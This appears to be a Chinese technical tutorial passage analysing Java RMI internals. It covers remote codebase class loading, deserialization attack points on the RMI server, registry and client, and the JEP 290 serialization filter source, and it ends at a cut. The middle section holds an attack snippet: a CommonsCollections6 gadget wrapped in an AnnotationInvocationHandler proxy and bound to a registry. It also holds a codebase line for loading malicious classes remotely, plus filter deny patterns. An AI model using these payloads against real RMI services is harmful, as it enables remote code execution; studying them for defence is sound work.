dispatch:338, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1367380156 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

我们发现实际上通过 URL 远程加载类的类加载器是 sun.rmi.server.LoaderHandler$Loader 这个类加载器是 URLClassLoader 的子类。

1
2
3
4
5
6
7
8
9
10
11
/**
* Loader 是由 RMIClassLoader 的静态方法创建的
* RMI 类加载器的实际实现类。
*
* 它继承自 URLClassLoader,具备从指定 URL(如 codebase)加载类的能力。
* 这个 Loader 会被用于在远程调用中根据传递过来的 codebase URL
* 动态加载类或接口,从而实现跨 JVM 的类型传输与反序列化。
*/
private static class Loader extends URLClassLoader {
// [...]
}

其中在 MarshalInputStream#resolveClass 中,readLocation 可以读取我们指定的 codebase。我们只需要在攻击方添加如下代码设置 codebase,那么被攻击方在执行 readLocation 时就可以得到攻击方的 codebase 然后到攻击方指定的 url 上加载类。

1
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

不过这需要 useCodebaseOnly 是为 false 才能远程指定任意 codebase

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/**
* 返回类在流中的位置注解(location)。
*
* 该方法可以被子类重写,以实现从其他位置读取注解信息的机制;
* 本类默认的实现是直接从输入流中读取下一个对象。
*
* 在 RMI 的场景中,这个注解通常是一个 codebase URL 字符串,
* 用于指示类定义应当从哪里加载。
*
* @return 一个 Object 类型的注解(通常为 String 类型的 URL)
* @throws IOException 如果读取过程中发生 I/O 错误
* @throws ClassNotFoundException 如果反序列化注解对象失败
*/
protected Object readLocation()
throws IOException, ClassNotFoundException
{
return readObject(); // 默认行为:从输入流读取下一个对象,作为类注解
}


/*
* 始终读取由 MarshalOutputStream 写入的注解(annotation),
* 该注解描述了类应当从哪里加载(即 codebase 的来源位置)。
*
* 这一步通常出现在远程对象反序列化的过程中,
* 用于获取服务端提供的类加载路径信息。
*/
Object annotation = readLocation();

// [...]

/*
* 如果 "java.rmi.server.useCodebaseOnly" 属性为 true,
* 或者调用了 useCodebaseOnly() 方法,或者注解(annotation)不是字符串,
* 则使用本地类加载器和 "java.rmi.server.codebase" 属性指定的 URL 加载类。
*
* 否则,将使用注解中的 codebase URL 创建的类加载器来加载类。
*/
String codebase = null;
if (!useCodebaseOnly && annotation instanceof String) {
codebase = (String) annotation;
}

try {
// 根据指定的 codebase、类名以及默认类加载器加载类
return RMIClassLoader.loadClass(codebase, className, defaultLoader);
} catch (AccessControlException e) {
// [...]

然而从 JDK 6u45、7u21 开始,java.rmi.server.useCodebaseOnly 的默认值就是 true,也就是说我们不能指定目标服务器从任意地址加载恶意类。这导致 RMI 远程类加载这种攻击方式变得很鸡肋。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* 缓存系统属性 “java.rmi.server.useCodebaseOnly” 的布尔语义。
*
* 语义规则:
* - 默认值为 true(即**只**使用本地的 java.rmi.server.codebase,不信任远端注解)。
* - 只有当该属性**存在**且**值为 "false"(忽略大小写)**时,才设为 false。
*
* 安全提示:
* - true(默认)更安全:禁止按远端注解任意下载/加载类。
* - false 较危险:允许基于远端注解的动态类加载(CTF 常用、生产谨慎)。
*/
private static final boolean useCodebaseOnlyProperty =
// 读取系统属性:若未设置则返回默认的 "true"
!java.security.AccessController.doPrivileged(
// 使用特权动作读取属性(兼容老式 SecurityManager 环境)
new sun.security.action.GetPropertyAction(
"java.rmi.server.useCodebaseOnly", "true"
)
)
// 仅当属性值为 "false"(忽略大小写)时,结果才为 false;其余情况均为 true
.equalsIgnoreCase("false");

/**
* 实例级别的开关,初始取自静态缓存。
* 为 true 时:仅从 "java.rmi.server.codebase" 指定的 URL 加载本地缺失的类;
* 为 false 时:还会考虑远端对象流里的 codebase 注解(可能导致远程类下载)。
*/
private boolean useCodebaseOnly = useCodebaseOnlyProperty;

LoaderHandler#loadClass 中会通过 pathToURLs 函数将我们远程指定的 codebase 转换成 URL 数组。

如果我们没有远程指定 codebase 或者 useCodebaseOnly 值为 true 导致 codebasenull,则会通过 getDefaultCodebaseURLs 初始化 url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/**
* 从网络位置(一个或多个 URL)加载指定名称的类。
*
* 在尝试通过远程 codebase 加载之前,优先尝试使用给定的 "默认类加载器"(defaultLoader)进行类解析。
*
* @param codebase 表示类下载路径的 URL 字符串(可以是多个 URL,用空格分隔)
* @param name 要加载的类的全限定名
* @param defaultLoader 默认类加载器,优先使用此加载器加载类(如果提供)
* @return 加载成功的类对象
* @throws MalformedURLException 如果 codebase URL 格式非法
* @throws ClassNotFoundException 如果类无法通过任一方式加载
*/
public static Class<?> loadClass(String codebase, String name,
ClassLoader defaultLoader)
throws MalformedURLException, ClassNotFoundException
{
// [...]

// 将 codebase 字符串转换为 URL 数组
URL[] urls;
if (codebase != null) {
urls = pathToURLs(codebase); // 将 codebase 转为 URL[]
} else {
urls = getDefaultCodebaseURLs(); // 获取默认的 codebase URL(通常是 java.rmi.server.codebase)
}

// 优先尝试使用默认类加载器加载类
if (defaultLoader != null) {
// [...]
}

// 如果默认类加载器加载失败,则使用远程 codebase URL 进行加载
return loadClass(urls, name);
}

getDefaultCodebaseURLs 实际上返回的是 codebaseProperty

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/**
* 返回一个 URL 数组,内容是根据系统属性
* "java.rmi.server.codebase" 的值构造出的路径。
*
* 这个方法会在第一次调用时,将 codebase 字符串解析为 URL 数组并缓存,
* 后续调用直接返回缓存结果。
*
* @return URL[] 表示默认 codebase 的 URL 路径数组
* @throws MalformedURLException 如果 codebase 中包含非法的 URL 格式
*/
private static synchronized URL[] getDefaultCodebaseURLs()
throws MalformedURLException
{
/*
* 如果还没有解析过,就将 codebaseProperty(系统属性)转换为 URL 数组。
* 如果解析失败,可能会抛出 MalformedURLException。
*/
if (codebaseURLs == null) {
if (codebaseProperty != null) {
// 将 codebase 字符串转为 URL[] 并缓存
codebaseURLs = pathToURLs(codebaseProperty);
} else {
// 没有设置 codebase 属性,则使用空数组
codebaseURLs = new URL[0];
}
}

// 返回缓存的 URL 数组
return codebaseURLs;
}

LoaderHandler 的静态代码块中 codebaseProperty 被初始化,读取的是本地配置的 java.rmi.server.codebase

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/**
* "java.rmi.server.codebase" 属性的值,会在类初始化时被缓存。
*
* 它用于指定远程类加载时所依赖的 URL(如 .class 文件或 JAR 包的位置),
* 供客户端通过网络动态加载服务端的类。
*
* 注意:该属性的值可能包含格式错误(malformed)的 URL。
*/
private static String codebaseProperty = null;

static {
// 在安全权限控制下获取系统属性 "java.rmi.server.codebase"
String prop = java.security.AccessController.doPrivileged(
new GetPropertyAction("java.rmi.server.codebase"));

// 如果属性存在且不为空白,则缓存该属性值
if (prop != null && prop.trim().length() > 0) {
codebaseProperty = prop;
}
}

反序列化

RMI 的整个过程设计多处反序列化,因此易被反序列化攻击:

  • 攻击客户端
    • RegistryImp_Stub#lookup:反序列化注册中心返回的 Stub
    • UnicastRef#invoke:反序列化远调方法的执行结果
    • StreamRemoteCall#executeCall:反序列化远程调用返回的异常类
    • DGCImpl_Stub#dirty
  • 攻击服务端
    • UnicastServerRef#dispatch:反序列化客户端传递的方法参数
    • DGCImpl_Skel#dispatch
  • 攻击注册中心
    • RegistryImp_Stub#bind:注册中心反序列化服务端传递传来的远程对象

攻击服务端(无限制)

UnicastServerRef#dispatch 调用了unmarshalValue来反序列化客户端传来的远程方法参数,因此我们可以通过传递反序列化 payload 作为参数在服务端触发反序列化漏洞。

然而远程方法的参数是有参数类型的,所以我们进行远程方法调用的时候要求参数类型要与方法定义的参数类型相匹配,例如:

  • 如果远程方法的参数是 Object 类型的,那么我们之间传递反序列化 payload 是可以正常在远程触发反序列化漏洞的。
  • 但是如果远程方法的参数与我们传递的反序列化 payload 的类型不匹配,那么我们在传递参数的时候在本地就会报类型错误。

针对这种情况我们有如下尝试:

  • 如果我们在获取远程对象后通过反射调用远程方法并强制传入反序列化 payload ,此时会有 java.lang.IllegalArgumentException: argument type mismatch 报错,这说明反射调用和正常调用一样会有参数检查。

  • 如果我们在另外定义一个与我们参数类型匹配的方法,则不匹配则会有 java.rmi.UnmarshalException: unrecognized method hash: method not supported by remote object 报错。这是因为客户端方法的哈希和服务端方法的哈希不同,hashToMethod_Map 找不到对应的方法。

从上述尝试中我们发现,其实参数类型的校验始终发生在本地,远程反序列化参数之前都不知道我们传递的参数是什么,更谈不上参数类型的校验。

前面第二种尝试可以绕本地参数类型的校验,我们只需要在这种方法的基础上想办法修改远程方法调用时传递的方法的哈希就可以在服务端反序列化参数。

最直接的修改哈希的方法就是通过调试在 RemoteObjectInvocationHandler 调用 invokeRemoteMethod 的时候修改 getMethodHash(method) 获取到的哈希。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/**
* 处理远程方法调用。
*/
private Object invokeRemoteMethod(Object proxy,
Method method,
Object[] args)
throws Exception
{
try {
// [...]

// 调用远程对象的 invoke 方法,传递代理对象、方法、参数和方法的哈希值
return ref.invoke((Remote) proxy, method, args,
getMethodHash(method));
} catch (Exception e) {
// [...]
}
}

另一种方法就是通过 Java Agent 技术进行字节码插桩,以此来修改方法哈希。

攻击注册中心(8u121、7u131、6u141 前)

注册中心和服务端是可以分开的,服务端可以使用 Naming 提供的接口来操作注册中心。

1
Naming.bind("rmi://127.0.0.1:1099/hello", hello);

前面分析过,这种写法本质上等价于下面这个写法:

1
2
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
registry.bind("rmi://127.0.0.1:1099/hello", hello);

这里获取到的实际上就是 Registry 的动态代理 ResgitryImpl_Stub,其中的 bind 方法依然存在序列化和反序列化。服务端将待绑定的对象序列化,注册中心收到后反序列化。

低版本 RMI 注册中心没有身份验证的功能,客户端都可以进行 bindunbindrebind 这些操作。

这里 bind 的参数因为是远程对象,所以要求是 Remote 类型。

但是我们不能直接让反序列化 payload 实现 Remote 接口。这是因为反序列化利用的类都是注册中心中存在的类。如果强行定义一个实现 Remote 的接口,则在注册中心反序列化的时候会出现找不到类的情况。

我们知道 HashMap 类型在反序列化的时候键值对都会分别被反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// 读取阈值(被忽略)、加载因子以及其他隐藏的内容
s.defaultReadObject();
// 重新初始化HashMap
reinitialize();
// 检查加载因子是否有效
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);

// 读取并忽略桶的数量
s.readInt();
// 读取映射的数量(即HashMap的大小)
int mappings = s.readInt();
// 检查映射数量是否有效
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // 如果映射数量大于零,则进行初始化
...
// 读取键和值,并将映射放入HashMap中
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject(); // 读取键对象
@SuppressWarnings("unchecked")
V value = (V) s.readObject(); // 读取值对象
putVal(hash(key), key, value, false, false); // <-- 调用hash函数并插入键值对
}
}
}

因此可以使用 AnnotationInvocationHandler 来动态代理 Remote 接口,并且设置 memberValuesHashMap,然后 HashMap 中再存放反序列化的 payload。

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() || // `type` 还要继承自 `Annotation`
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type; // `memberTypes` 中的 `key` 是构造时传入的 `type` 对应的类中的所有方法名字符串
this.memberValues = memberValues; // `name` 是构造时传入的 `memberValues` 中的某个 `key`。
}

此时生成的动态代理对象继承于 Remote,符合参数条件,并且动态代理在反序列化的时候会反序列化 AnnotationInvocationHandler 进而反序列化 memberValues 成员(即 HashMap),并最终反序列化 HashMap 中的键值对触发反序列化 payload。

1
2
3
4
5
6
7
8
9
10
HashMap hashMap = new HashMap<>();
hashMap.put("sky123", CommonsCollections6.getPayload());
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, hashMap);
Remote remoteObject = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, handler);

Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
registry.bind("rmi://127.0.0.1:1099/remoteObject", remoteObject);

攻击客户端(无限制)

如果攻击的目标作为 Client 端,也就是在 Registry 地址可控,或 Registry/Server 端可控,也是可以导致攻击的。客户端主要有两个交互行为,第一是从 Registry 端获取调用服务的 stub 并反序列化,第二步是调用服务后获取执行结果并反序列化。

这部分攻击实战意义较少,并且与上述讨论的攻击 Server 端和 Registry 端的攻击都是镜像行为,所以这里简单描述一下流程就不再演示了。

  • 恶意 Server Stub:同攻击 Registry 端,Client 端在 Registry 端 lookup 后会拿到一个 Server 端注册在 Registry 端的代理对象并反序列化触发漏洞。

  • 恶意 Server 端返回值:同攻击 Server 端的恶意服务参数,Server 端返回给 Client 端恶意的返回值,Client 端反序列化触发漏洞,不再赘述。

  • 动态类加载:同攻击 Server 端的动态类加载,Server 端返回给 Client 端不存在的类,要求 Client 端去 codebase 地址远程加载恶意类触发漏洞,不再赘述。

攻击DGC

JEP290

JEP 290 是 Java 中非常重要的一个安全增强提案,主要用于 增强 Java 反序列化的安全性控制。它在 Java 9 中引入,核心思想是 为反序列化过程增加“白名单”机制,防止反序列化任意类造成的远程代码执行(RCE)等安全问题。

JEP 290: Filter Incoming Serialization Data

JEP 290:过滤传入的序列化数据

Allow incoming streams of object-serialization data to be filtered in order to improve both security and robustness.

允许对传入的对象序列化数据流进行过滤,以提升安全性与健壮性。

虽然这个提案是在 Java9 提出的,但在 JDK6、7、8 的高版本中也引入了这个机制(JDK8u121、JDK7u131、JDK6u141)。

根据官方的描述,核心机制在于一个可以被用户实现的filter接口,作为 ObjectInputStream 的一个属性,反序列化时会触发接口的方法,对序列化类进行合法性检查。每个对象在被实例化和反序列化之前,过滤器都会被调用,除去Java的基本类型和 java.lang.String(若过滤器未设置,默认使用全局过滤器)。此外,针对RMI,用于导出远程对象的 UnicastServerRef 中的 MarshalInputStream 也设置了过滤器,用于验证方法参数的合法性。

ObjectInputFilter

原生反序列化的入口在ObjectInputStream#readObject,在这里设置过滤器再合适不过。JEP 290在ObjectInputStream类中增加了一个serialFilter属性和一个filterCheck方法。

全局默认过滤器

初始化 serialFilter

ObjectInputStream 的构造方法初始化了 serialFilter

1
2
3
4
5
6
7
8
9
10
11
/**
* Filter of class descriptors and classes read from the stream;
* may be null.
*/
private ObjectInputFilter serialFilter;

public ObjectInputStream(InputStream in) throws IOException {
// [...]
serialFilter = ObjectInputFilter.Config.getSerialFilter();
// [...]
}

Configsun.misc.ObjectInputFilter 这个接口的一个静态内部类,getSerialFilter 返回 Config 的静态字段 serialFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 返回进程范围(全局)的序列化过滤器;如果尚未配置,则返回 {@code null}。
*
* <p>说明:方法在 {@code serialFilterLock} 上同步,以确保在多线程环境下
* 对全局过滤器读取的可见性与一致性。</p>
*
* @return 全局序列化过滤器;若未配置则为 {@code null}
*/
public static ObjectInputFilter getSerialFilter() {
synchronized (serialFilterLock) { // 加锁读取,保证并发场景下的可见性
return serialFilter; // 可能为 null(未通过属性/配置/代码设置)
}
}

这个静态字段在 Config 的静态代码块中进行初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/**
* 进程范围(全局)的反序列化过滤器属性名。
* 既可作为系统属性(System Property),也可作为 java.security.Security 的安全属性使用。
* 实际读取顺序见下方静态代码块:优先读取系统属性,其次读取安全属性。
*/
private final static String SERIAL_FILTER_PROPNAME = "jdk.serialFilter";

/**
* 启动期解析得到的“已配置的”全局过滤器;可能为 null。
* 实际来源:先查系统属性,再查安全属性;若两者皆无或解析失败,则为 null。
*/
private final static ObjectInputFilter configuredFilter;

static {
// 以特权方式读取系统/安全属性(在启用 SecurityManager 的历史场景下需要此调用)。
configuredFilter = AccessController
.doPrivileged((PrivilegedAction<ObjectInputFilter>) () -> {
// 1) 优先从系统属性读取 jdk.serialFilter
String props = System.getProperty(SERIAL_FILTER_PROPNAME);
if (props == null) {
// 2) 若系统属性未设置,则退回到安全属性(conf/security/java.security)
props = Security.getProperty(SERIAL_FILTER_PROPNAME);
}
if (props != null) {
// 创建日志记录器(JDK 内建 System.Logger,通道:java.io.serialization)
System.Logger log =
System.getLogger("java.io.serialization");
// 记录将从何处的配置字符串创建过滤器({0} 为占位符)
log.log(System.Logger.Level.INFO,
"Creating serialization filter from {0}", props);
try {
// 解析并构造过滤器实例(支持 ! 前缀、包/模块匹配、以及 maxdepth 等限制项)
return createFilter(props);
} catch (RuntimeException re) {
// 解析失败时记录错误,并回退为 null(表示不启用全局过滤器)
log.log(System.Logger.Level.ERROR,
"Error configuring filter: {0}", re);
}
}
// 未配置或解析失败:不启用全局过滤器
return null;
});

// 若确有已配置过滤器,则准备一个日志器供后续配置相关日志使用;否则置空。
// (configLog 字段应在类中其他位置定义)
configLog = (configuredFilter != null) ? System.getLogger("java.io.serialization") : null;
}

/**
* “当前生效”的全局过滤器。
* 初始值为启动期解析得到的 configuredFilter;
* 之后可能被 API(例如 ObjectInputFilter.Config#setSerialFilter)在运行时动态更新。
*/
private static ObjectInputFilter serialFilter = configuredFilter;

这段代码的逻辑是先 System.getProperty("jdk.serialFilter"),再 Security.getProperty("jdk.serialFilter");前者存在则覆盖后者。因为默认情况下两者皆为空因此全局过滤器默认为 null

若有设置这两个全局属性,才会调用 createFilter 函数根据 jdk.serialFilter 属性预先设置的字符串构造序列化过滤器 serialFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/**
* 从一串“模式(pattern)”文本创建一个 ObjectInputFilter。
*
* <p>多个模式用分号(;)分隔。⚠ 注意:空白字符是“有意义”的,它属于模式的一部分,
* 不是自动忽略的空格。
*
* <p>如果某个模式是“name=value”的赋值形式(即包含等号 =),表示设置一个“限制项(limit)”。
* 同一限制项出现多次时,以最后一次为准。支持的限制项有:
* - maxdepth=value :反序列化对象图允许的最大深度
* - maxrefs=value :已读取对象/引用的最大数量
* - maxbytes=value :输入流允许的最大字节数
* - maxarray=value :允许的最大数组长度
*
* <p>其他非赋值形式的模式用于“类/包名匹配”,匹配对象是 Class.getName() 的结果,
* 如果带可选的“模块名”,则还要与 class.getModule().getName() 进行匹配。
* 注意:数组类型按“元素类型”进行匹配,而不是按“数组类型”本身匹配;
* 任意维度的数组都视为它的元素类型来匹配。
*
* <ul>
* <li>以 "!" 开头:当后续模式能匹配到类名时,判定为“拒绝”;否则(不以 "!" 开头),
* 只要能匹配到就“允许”。(首个命中的模式决定结果)
* <li>包含 "/":则 "/" 之前的非空前缀视为“模块名”,先匹配模块名,再用 "/" 之后的部分
* 去匹配类名;如果不含 "/",则不比较模块名。
* <li>以 ".**" 结尾:匹配某包及其所有子包中的任意类。
* <li>以 ".*" 结尾:匹配某包下(不含子包)的任意类。
* <li>以 "*" 结尾:按前缀匹配任意类名(前缀可以是完整类名的一部分)。
* <li>完全等于类名:精确匹配该类。
* <li>其他情况:不匹配。
* </ul>
*
* <p>生成的过滤器会先做“限制项”检查(深度/引用数/字节数/数组长度等),只要超限就返回 REJECTED。
* 若未超限,再按“类匹配规则”从左到右尝试匹配(数组按元素类型匹配)。
* 例如模式 "!example.Foo" 将拒绝创建 example.Foo 以及任何维度的 Foo[]。
* 首个匹配成功的模式决定结果:命中允许则 ALLOWED,命中拒绝则 REJECTED。
* 若不超限且没有任何模式匹配类名,则返回 UNDECIDED。
*
* @param pattern 非 null 的模式字符串
* @return 用于检查反序列化类的过滤器;如果解析后没有任何有效模式,则返回 null
* @throws IllegalArgumentException 当模式不合法或无法解析时抛出,例如:
* <ul>
* <li>限制项缺少名称,或名称不是 "maxdepth"/"maxrefs"/"maxbytes"/"maxarray"
* <li>限制项的 value 不能被 Long.parseLong 解析,或为负数
* <li>包含 "/" 但缺少模块名或 "/" 之后的类名模式为空
* <li>" .* " 或 " .** " 缺少前面的包名(如单独写成 ".*" 或 ".**")
* </ul>
*/
public static ObjectInputFilter createFilter(String pattern) {
Objects.requireNonNull(pattern, "pattern");
return Global.createFilter(pattern);
}

字符串的语法规则为:

  • 由分号 ; 分隔的多段规则组成,空格算内容。形式如:rule1;rule2;rule3

  • 两类子规则:

    • 限制项(limit)maxdepth=… / maxrefs=… / maxbytes=… / maxarray=…,例如 maxdepth=64;maxrefs=10000;maxbytes=1048576;maxarray=100000

    • 类/包匹配 :可写模块前缀、包/类名和通配符,前面加 ! 表示拒绝。

      • 模块 + 类:java.base/java.lang.*

      • 包及子包:com.acme.**

      • 仅当前包:com.acme.*

      • 类名前缀:com.acme.Foo*

      • 精确类:com.acme.Foo

      • 拒绝:前缀 !,如 !org.apache.commons.collections.**

  • 先检查限制项(超限直接 REJECTED),再按顺序匹配类(命中第一条就决定 ALLOWED/REJECTED;都不命中 → UNDECIDED)。

  • 数组按元素类型匹配(拒 com.evil.Foo 也会拒 Foo[]/Foo[][])。

Config#createFilter 实际调用的是 Global#createFilter 静态方法,内部实际上是实例化并返回了一个 Global 对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/**
* 从一段“pattern 规则字符串”创建 ObjectInputFilter。
*
* @param pattern 要解析的规则字符串(分号 ; 分隔多段)
* @return 用于检查反序列化类的过滤器;如果没有任何非空规则,返回 {@code null}
* @throws IllegalArgumentException 参数格式不合法时抛出:
* 例如限制项缺名字、值不是 long、或为负数等
*/
static ObjectInputFilter createFilter(String pattern) {
try {
// 解析并封装成 Global(实现了 ObjectInputFilter 的逻辑)
return new Global(pattern);
} catch (UnsupportedOperationException uoe) {
// 没有任何“非空”的规则段时,按约定返回 null
return null;
}
}

Global 本身就实现了 ObjectInputFilter 接口。Global 的构造函数会解析我们传入的匹配规则 pattern,将规则解析成一个个 lambda 表达式,lambda 表达式会返回 ObjectInputFilter.Status。这些 lambda 表达式组保存在 filters 属性中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
/**
* 基于 pattern 字符串构造过滤器。
*
* @param pattern 分号分隔的规则串
* @throws IllegalArgumentException 当规则格式不合法时
* @throws UnsupportedOperationException 当没有任何非空规则段(且也没有限制项)时
*/
private Global(String pattern) {
boolean hasLimits = false; // 是否设置过任一限制项(maxdepth/maxrefs/maxbytes/maxarray)
this.pattern = pattern;

// 四类资源限制的默认值:不限制(Long.MAX_VALUE)
maxArrayLength = Long.MAX_VALUE;
maxDepth = Long.MAX_VALUE;
maxReferences = Long.MAX_VALUE;
maxStreamBytes = Long.MAX_VALUE;

// 规则按照 ';' 切分逐段处理
String[] patterns = pattern.split(";");
filters = new ArrayList<>(patterns.length);
for (int i = 0; i < patterns.length; i++) {
String p = patterns[i];
int nameLen = p.length();
if (nameLen == 0) {
// 跳过空段(例如连续两个 ;;)
continue;
}

// 1) 尝试解析“限制项”(形如 maxdepth=..., maxrefs=... 等)
if (parseLimit(p)) {
// 命中限制项,已在 parseLimit 中更新相应的数值
hasLimits = true;
continue;
}

// 2) 非限制项:解析类/包/模块匹配规则
boolean negate = p.charAt(0) == '!'; // 前缀 '!' 表示否定(匹配即 REJECTED)
int poffset = negate ? 1 : 0; // 实际规则起始下标(跳过 '!')

// —— 可选的模块名前缀 —— 语法:<module>/<class-or-package-pattern>
int slash = p.indexOf('/', poffset);
if (slash == poffset) {
// 出现了 '/' 但模块名为空:非法
throw new IllegalArgumentException("module name is missing in: \"" + pattern + "\"");
}
final String moduleName = (slash >= 0) ? p.substring(poffset, slash) : null;
poffset = (slash >= 0) ? slash + 1 : poffset; // 规则主体移到 '/' 之后

final Function<Class<?>, Status> patternFilter;

// 3) 通配分支:以 '*' 结尾的三种情况
if (p.endsWith("*")) {
// 3.1 结尾为 ".*" :仅匹配“当前包”内的任意类(不含子包)
if (p.endsWith(".*")) {
final String pkg = p.substring(poffset, nameLen - 1); // 去掉尾部 '*'
if (pkg.length() < 2) {
// 要求至少像 "a." 这样,裸 ".*" 会视为缺少包名
throw new IllegalArgumentException("package missing in: \"" + pattern + "\"");
}
if (negate) {
// 命中则 REJECTED,未命中则 UNDECIDED
patternFilter = c -> matchesPackage(c, pkg) ? Status.REJECTED : Status.UNDECIDED;
} else {
// 命中则 ALLOWED,未命中则 UNDECIDED
patternFilter = c -> matchesPackage(c, pkg) ? Status.ALLOWED : Status.UNDECIDED;
}

// 3.2 结尾为 ".**" :匹配“包及所有子包”
} else if (p.endsWith(".**")) {
final String pkgs = p.substring(poffset, nameLen - 2); // 去掉尾部 "**"
if (pkgs.length() < 2) {
// 同理,必须存在明确的包前缀,裸 ".**" 非法
throw new IllegalArgumentException("package missing in: \"" + pattern + "\"");
}
if (negate) {
patternFilter = c -> c.getName().startsWith(pkgs) ? Status.REJECTED : Status.UNDECIDED;
} else {
patternFilter = c -> c.getName().startsWith(pkgs) ? Status.ALLOWED : Status.UNDECIDED;
}

// 3.3 其他以 '*' 结尾:按“类名字符串前缀”匹配
} else {
final String className = p.substring(poffset, nameLen - 1); // 去掉尾部 '*'
// 注意:className 为空字符串时,startsWith("") 恒为 true → 匹配任意类
if (negate) {
patternFilter = c -> c.getName().startsWith(className) ? Status.REJECTED : Status.UNDECIDED;
} else {
patternFilter = c -> c.getName().startsWith(className) ? Status.ALLOWED : Status.UNDECIDED;
}
}

} else {
// 4) 精确匹配:不以 '*' 结尾,则视为“完整类名”匹配
final String name = p.substring(poffset);
if (name.isEmpty()) {
// 既没有 '*',又没有具体类名/包名 → 非法
throw new IllegalArgumentException("class or package missing in: \"" + pattern + "\"");
}
if (negate) {
// 类名完全相等则 REJECTED,否则 UNDECIDED
patternFilter = c -> c.getName().equals(name) ? Status.REJECTED : Status.UNDECIDED;
} else {
// 类名完全相等则 ALLOWED,否则 UNDECIDED
patternFilter = c -> c.getName().equals(name) ? Status.ALLOWED : Status.UNDECIDED;
}
}

// 5) 若写了 moduleName,则把“模块名判定”与上面的类/包判定组合起来
if (moduleName == null) {
// 无模块前缀:直接按类/包规则判断
filters.add(patternFilter);
} else {
// 有模块前缀:模块名相等才继续应用类/包规则;否则 UNDECIDED
filters.add(c -> moduleName.equals(c.getModule().getName())
? patternFilter.apply(c)
: Status.UNDECIDED);
}
}

// 6) 如果既没有任何类/包规则(filters 为空),也没有设置任何限制项 → 视为“无非空规则”
if (filters.isEmpty() && !hasLimits) {
throw new UnsupportedOperationException("no non-empty patterns");
}
}

filterCheck 过滤函数

ObjectInputStream#filterCheck 会对类进行过滤。该函数逻辑为:

  • 判断 serialFilter 是否为空
  • 交给 serialFilter#checkInput 进行类检测
  • 若返回状态为 nullREJECTED,抛出 InvalidClassException 异常
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/**
* 如果(流级)序列化过滤器不为 null,则调用之。
* 若过滤器拒绝,或在执行过程中抛出异常,则抛出 InvalidClassException。
*
* @param clazz 当前处理的类;可能为 null(例如处理已反序列化对象的引用时)
* @param arrayLength 请求的数组长度;若非创建数组请传 {@code -1}
* @throws InvalidClassException 当被过滤器拒绝、过滤器返回 null,或过滤器抛出 RuntimeException 时抛出
*/
private void filterCheck(Class<?> clazz, int arrayLength)
throws InvalidClassException {
if (serialFilter != null) {
RuntimeException ex = null; // 缓存过滤器抛出的异常,用作后续 cause
ObjectInputFilter.Status status;
try {
// 组装当前反序列化场景的度量信息并调用过滤器:
// - clazz:当前类(数组则为数组类型;引用场景为 null)
